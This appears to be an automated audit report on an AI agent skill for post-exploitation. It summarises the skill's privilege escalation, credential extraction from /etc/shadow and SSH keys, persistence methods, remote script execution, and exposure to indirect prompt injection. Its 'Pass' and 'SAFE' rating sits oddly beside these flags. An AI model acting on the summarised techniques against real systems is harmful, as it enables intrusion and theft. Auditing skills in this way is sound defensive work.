post-exploit-technique
Pass
Audited by Gen Agent Trust Hub on Nov 13, 2026
Risk Level: SAFEEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCEINDIRECT_PROMPT_INJECTION
Full Analysis
- [EXTERNAL_DOWNLOADS]: The skill references and downloads security tools from external sources, specifically fetching the linpeas.sh script from the official GitHub repository (peass-ng/PEASS-ng).- [REMOTE_CODE_EXECUTION]: Contains instructions that download and execute scripts from remote repositories, such as piping the linpeas.sh download directly into the shell (sh) for automated privilege escalation triage.- [DATA_EXFILTRATION]: Provides detailed procedures for locating and extracting sensitive information, including /etc/shadow, SSH private keys, browser-stored credentials, and application configuration files for lateral movement.- [COMMAND_EXECUTION]: Utilizes a wide array of shell commands for system reconnaissance, environment stabilization, and the execution of local offensive tooling.- [PRIVILEGE_ESCALATION]: Documents numerous vectors for gaining elevated permissions, such as exploiting sudo misconfigurations, SUID binaries, kernel vulnerabilities, and token impersonation techniques (Potato family of exploits).- [PERSISTENCE]: Instructs the agent on establishing long-term access through system reboots using cron jobs, systemd services, registry run keys, and WMI event subscriptions.- [INDIRECT_PROMPT_INJECTION]: Exhibits a vulnerability surface for indirect prompt injection. 1. Ingestion points: Reads host context, file contents (e.g., /etc/shadow, application configs), and process outputs in SKILL.md and multiple reference files. 2. Boundary markers: Absent. 3. Capability inventory: Extensive subprocess calls (bash, python, curl), file-write operations, and network connectivity across all files. 4. Sanitization: Absent; external content is processed and acted upon without validation or filtering.
Audit Metadata